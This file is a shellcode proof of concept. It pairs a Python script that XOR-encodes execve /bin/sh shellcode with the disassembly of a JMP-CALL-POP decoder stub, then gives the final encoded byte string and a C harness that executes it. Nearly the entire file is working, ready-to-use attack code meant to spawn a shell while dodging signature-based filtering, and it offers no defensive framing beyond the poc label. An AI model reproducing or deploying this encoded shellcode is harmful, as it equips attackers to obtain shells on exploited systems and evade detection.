/*
; Date: 26/02/2019
; XOR-Encoder.py
; Author: Daniele Votta
; Description: This program encode shellcode with XOR technique.
; Tested on: i686 GNU/Linux
; Shellcode Length:25

#!/usr/bin/python
# Python XOR Encoder

# Execve /bin/sh
shellcode =("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

print 'Encoded shellcode...'

for x in bytearray(shellcode):
  # XOR Encoding
  y = x^0xAA
  encoded += '\\x'
  encoded += '%02x' % y
  encoded2 += '0x'
  encoded2 += '%02x,' % y

print encoded +"\n"
print encoded2
print 'Len: %d' % len(bytearray(shellcode))
*/

#include<stdio.h>
#include<string.h>

/*

; XOR-Decoder.asm
; Author: Daniele Votta
; Description: This program decode shellcode with XOR technique.
; Tested on: i686 GNU/Linux
; Shellcode Length:45
; JMP | CALL | POP | Techniques

XOR-Decoder:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:  eb 0d                  jmp    804808f <call_decoder>

08048082 <decoder>:
 8048082:  5e                     pop    esi
 8048083:  31 c9                  xor    ecx,ecx
 8048085:  b1 19                  mov    cl,0x19

08048087 <decode>:
 8048087:  80 36 aa               xor    BYTE PTR [esi],0xaa
 804808a:  46                     inc    esi
 804808b:  e2 fa                  loop   8048087 <decode>
 804808d:  eb 05                  jmp    8048094 <Shellcode>

0804808f <call_decoder>:
 804808f:  e8 ee ff ff ff         call   8048082 <decoder>

08048094 <Shellcode>:
 8048094:  9b                     fwait
 8048095:  6a fa                  push   0xfffffffa
 8048097:  c2 85 85               ret    0x8585
 804809a:  d9 c2                  fld    st(2)
 804809c:  c2 85 c8               ret    0xc885
 804809f:  c3                     ret    
 80480a0:  c4 23                  les    esp,FWORD PTR [ebx]
 80480a2:  49                     dec    ecx
 80480a3:  fa                     cli    
 80480a4:  23 48 f9               and    ecx,DWORD PTR [eax-0x7]
 80480a7:  23 4b 1a               and    ecx,DWORD PTR [ebx+0x1a]
 80480aa:  a1                     .byte 0xa1
 80480ab:  67                     addr16
 80480ac:  2a                     .byte 0x2a
[+] Extract Shellcode ... 
"\xeb\x0d\x5e\x31\xc9\xb1\x19\x80\x36\xaa\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a"
======================= POC Daniele Votta =======================
*/

/* XOR Encoded (0xAA) Execve /bin/sh */
unsigned char code[] = \
"\xeb\x0d\x5e\x31\xc9\xb1\x19\x80\x36\xaa\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a";

int main()
{
  printf("Shellcode Length:  %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}